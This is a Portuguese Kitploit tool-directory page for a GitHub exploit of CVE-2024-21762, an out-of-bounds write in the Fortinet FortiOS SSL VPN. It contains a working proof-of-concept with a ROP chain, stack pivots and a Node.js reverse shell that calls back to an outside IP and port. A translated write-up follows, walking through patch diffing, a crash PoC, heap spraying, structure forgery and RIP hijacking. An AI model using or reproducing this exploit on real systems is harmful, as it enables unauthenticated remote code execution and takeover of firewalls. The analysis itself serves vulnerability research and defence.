Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-21762 — Escrita fora dos limites no Fortinet FortiOS vulnerabilidade CVE-2024-21762 | Kitploit
Ferramentas/GitHubGitHub/h4x0r-dz/cve-2024-21762
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebFerramenta de Acesso RemotoDesenvolvimento de PayloadsExploração de Binários
GitHubh4x0r-dz/cve-2024-21762

CVE-2024-21762

Escrita fora dos limites no Fortinet FortiOS vulnerabilidade CVE-2024-21762

Ver Repositório
150253há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-21762

Vulnerabilidade de escrita fora dos limites em Fortinet FortiOS CVE-2024-21762

Exploit PoC por assetnote

root@kitploit:~

ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"

pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;

rop  = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;

rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;

rop += b"%f5%2c%e6%00%00%00%00%00" #  sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" #  add rsi, rax; mov [rdi+8], rsi; ret;

rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8

pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;

call_execl = b"%80%c1%43%00%00%00%00%00"

bin_node = b"/bin/node%00" 
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'

form_value  = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3

body = (b"B"*1808 + b"=" + form_value + b"&")*20

data  = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body

ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)

time.sleep(1)

ssock2 = make_sock(TARGET, PORT)

data  = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"

ssock2.sendall(data)

Vulnerabilidade

A FortiGate lançou uma atualização de versão em fevereiro, corrigindo várias vulnerabilidades de médio e alto risco. Uma das vulnerabilidades de nível severo é uma vulnerabilidade de escrita fora dos limites não autorizada no SSL VPN. O aviso de vulnerabilidade afirma que esta vulnerabilidade pode ser explorada na natureza. Este artigo apresentará a análise do autor sobre o processo de exploração desta vulnerabilidade para alcançar a execução remota de código.

image

O ambiente usado para a análise da vulnerabilidade neste artigo é FGT_VM64-v7.4.2.F-build2571.

Diff

Comparando os binários das versões corrigidas (7.4.2 e 7.4.3), a análise descobriu que o código de correção está localizado na função sub_18F4980 (7.4.2).

image

Analisando esta função, não é difícil perceber que a lógica desta função é ler os dados do corpo da solicitação HTTP POST. Ao mesmo tempo, o Transfer-Encoding é determinado de acordo com o cabeçalho da solicitação se deve ler no formato chunk ou com base no Content-Length. De acordo com os resultados da comparação do gráfico de fluxo de controle, existem duas modificações no código:

Ao analisar o formato chunk, a função ap_getline lê o comprimento do chunk e verifica se o valor de retorno de ap_getline é maior que 16. Se for maior que 16, é considerado um comprimento de chunk ilegal.

image

Ao ler o trailer do chunk, a fonte do offset \r\n escrito é a atribuição de line_off. Antes da correção, o valor de line_off vinha de *(_QWORD *)(a1 + 744), e após a correção, o valor de retorno é de ap_getline.

Continuando a rastrear adiante, o valor *(_QWORD *)(a1 + 744) que pode ser encontrado é o comprimento do campo de comprimento do chunk da primeira verificação.

image

Continuando a rastrear adiante, o valor *(_QWORD *)(a1 + 744) que pode ser encontrado é o comprimento do campo de comprimento do chunk da primeira verificação.

image

Ao mesmo tempo, lendo o código, pode-se dizer que quando o valor do campo de comprimento do chunk é 0 após a decodificação hexadecimal, ele entra na lógica de leitura do trailer do chunk.

Disparando a escrita fora dos limites

Após analisar o patch, podemos tirar as seguintes conclusões:

  1. Ao analisar um chunk, se o valor decodificado em hexadecimal do campo de comprimento do chunk for 0, comece a ler o trailer do chunk.
  2. Após chamar ap_getline para ler o trailer do chunk, \r\n será escrito no buffer de acordo com o comprimento do campo de comprimento do chunk.

Portanto, se muitos 0s forem passados no campo de comprimento do chunk, e o comprimento dos 0s for maior que 1/2 do buffer restante, uma escrita fora dos limites \r\n será disparada. Através de depuração, podemos saber que o buffer alvo está localizado na pilha (função sub_1A111E0), e o endereço de retorno está armazenado no offset 0x2028. Se escrito no offset 0x202e \r\n, ocorrerá uma falha devido a um endereço ilegal quando a função retornar para executar a instrução de restauração de rip.

PoC de falha:

root@kitploit:~
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked

%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")

ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)

Cena da falha:

image

Analisando a causa da vulnerabilidade, pode-se ver que a vulnerabilidade pode ser usada para escrever dois bytes \r\n fora dos limites na pilha, e a faixa fora dos limites é próxima a 0x2000. Como o conteúdo escrito é muito limitado, o RCE não pode ser alcançado sequestrando diretamente o rip. Portanto, é necessário focar nos ponteiros de memória salvos na pilha.

Tentativa falha

O que é mais fácil de pensar é sequestrar rbp e sobrescrever o byte baixo de rbp para que rbp aponte exatamente para uma área de memória controlável. Quando a função de nível superior retorna para executar a instrução, rip pode ser completamente sequestrado. No entanto, durante a verificação, foi descoberto que mesmo que rbp na pilha seja sobrescrito, rsp e rip não podem ser sequestrados, e o programa não irá nem falhar. Continuando a rastrear para cima, encontramos a função pai. Esta função não chama leave ret para restaurar rsp quando retorna, mas sim add rsp, 0x18 diretamente, portanto não pode alcançar o efeito esperado. sub_1A111E0 sub_1A26040 leave ret add rsp, 0x18

image

Encontrar outro ponto de avanço

Como visto na seção anterior, a função salva os valores dos cinco registradores rbx e r12-r15 na pilha e restaura esses registradores quando a função retorna. Continuando a retroceder para encontrar a função pai sub_1A26040 sub_1A27650. Pode-se ver que o que está salvo em r13 são exatamente os parâmetros a1.

a1 é um ponteiro de estrutura. Através da depuração, também podemos ver que um endereço de heap está salvo na pilha em r13.

image

Se a memória na área vermelha na figura for sobrescrita pela escrita fora dos limites, então quando o registrador r13 é restaurado quando a função retorna, o valor do ponteiro pode ser adulterado. Se a memória heap puder ser organizada de modo que a1 aponte para uma área de memória previamente arranjada, então toda a estrutura a1 pode ser sequestrada. Ao mesmo tempo, através da análise da lógica do código de sub_1A27650 e sub_1A26040, existem um grande número de chamadas de função dinâmicas dos membros da estrutura de vários níveis de a1, portanto haverá mais oportunidades para sequestrar a1.

Sequestrando uma estrutura

De acordo com a suposição, após o byte baixo do ponteiro a1 ser sobrescrito por \r\n, ele pode apontar para a memória pré-arranjada. Como mostra a figura:

image

Para alcançar este efeito, as seguintes condições precisam ser atendidas:

O endereço da estrutura a1 é maior que o endereço da área de heap spray, e a diferença entre eles é muito pequena. 0x7fxxxxxxx0a0d Deve apontar para a estrutura forjada.

A depuração pode descobrir que o tamanho da estrutura a1 é 0x730. De acordo com as regras de alinhamento do jemalloc, um bloco de heap de tamanho 0x800 será alocado. O bloco de heap 0x800 não é comumente usado durante o processamento de solicitações, então é fácil esgotar o bloco de heap 0x800 no tcache e, ao mesmo tempo, solicitar mais novos blocos 0x800, para que possam entrar no tcache após serem liberados. A injeção de heap também seleciona blocos de heap de tamanhos incomuns para que os novos blocos de heap solicitados sejam contínuos e próximos ao novo 0x800 solicitado; a injeção de heap escolhe usar blocos de heap maiores para garantir que seus endereços estejam alinhados com 0x800, para que seja fácil garantir que os 12 bits inferiores de cada endereço de estrutura forjada sejam 0xa0d; o intervalo de heap spray não é menor que 0x10000 para garantir que aponte para a área de heap spray. O efeito após o sequestro é o seguinte: 0x7fxxxxxxx0a0d

image

Encontrar ponteiros de vários níveis exploráveis

Através das operações acima, o sequestro da estrutura a1 pode ser alcançado. Examinando o código da função sum, existem muitas chamadas dinâmicas para o ponteiro de segundo nível e terceiro nível do membro da estrutura a1, por exemplo: sub_1A27650 sub_1A26040

image

Quando (0<N<5) é satisfeito, *(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0 é chamado dinamicamente *(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0)(a1). Portanto, o membro a1 + 0x298 precisa ser falsificado como um ponteiro de vários níveis, que eventualmente aponta para a função que queremos chamar. Como o binário alvo não tem proteção PIE ativada, você pode encontrar ponteiros de vários níveis qualificados no binário alvo. Analisando o binário, podemos descobrir que o primeiro *(_QWORD *)(a1 + 0x298) aponta para o endereço da tabela GOT da função correspondente.

image

image

Portanto, tomando funções como exemplo, você pode encontrar ponteiros de vários níveis qualificados. system

image

Durante o heap spraying, alterar o valor no offset 0x298 da estrutura pode ser usado para chamar a função system. O efeito é o seguinte: 0x4368d0

image

Como mostrado na figura, o parâmetro da chamada dinâmica é exatamente a1, e a memória apontada é controlável. Neste ponto, você pode usar normalmente a função system para executar qualquer comando. No entanto, no FortiGate, o arquivo /bin/sh não tem capacidade de executar comandos, portanto usar a função system para executar comandos não pode ser executado com sucesso.

Sequestrar RIP

Como a função system não pode executar comandos, só podemos encontrar outras maneiras de completar o RCE. A condição existente é que qualquer função da tabela GOT pode ser chamada, e a memória apontada pelo primeiro parâmetro da função é controlável. Portanto, se houver uma função na tabela GOT que chamará de volta um determinado membro do parâmetro, há uma chance de sequestrar RIP. É fácil pensar em funções que foram frequentemente usadas em explorações anteriores do FortiGate. SSL_do_handshake

image

Você só precisa construir a estrutura SSL para que as condições sejam atendidas e a chamada final seja feita para realizar o sequestro de rip e sequestrar rip para 0xdeadbeef como mostrado na figura: s->handshake_func(s)

image

O programa principal do FortiGate é um binário All-in-One com tamanho superior a 70MB. Existem um grande número de gadgets que podem ser usados. Não é difícil implementar RCE usando ROP, então não entrarei em detalhes.

Demo:

Embora o modo web esteja desativado por padrão no SSL VPN versão 7.4.2 e o acesso ao navegador retorne 403, esta vulnerabilidade ainda pode ser explorada na configuração padrão.

ezgif-6-c1d88c0511

Esta vulnerabilidade é semelhante à vulnerabilidade de estouro de heap causada por XOR no ano passado. Ambas são vulnerabilidades de overflow aparentemente inúteis. O processo de exploração é mais complicado e parece mais uma questão de CTF. No entanto, em comparação com problemas tradicionais de CTF que atacam o gerenciador de heap, vulnerabilidades reais exigem mais estruturas de contexto e lógica de código para serem exploradas. O nível do autor é limitado. Se houver algum erro, por favor corrija-me. CVE-2023-27997

Post original em Chinês: https://mp.weixin.qq.com/s?__biz=Mzk0OTU2ODQ4Mw==&mid=2247484811&idx=1&sn=2e0407a32ba0c2925d6d857f4cdf7cbb&chksm=c3571307f4209a110d6b28cea9fe59ac0f0a2079c998a682e919860f397ea647fa0794933906&mpshare=1&scene=1&srcid=0313EaETjGzEAvOdByUt6ovU#rd

Baixar ferramenta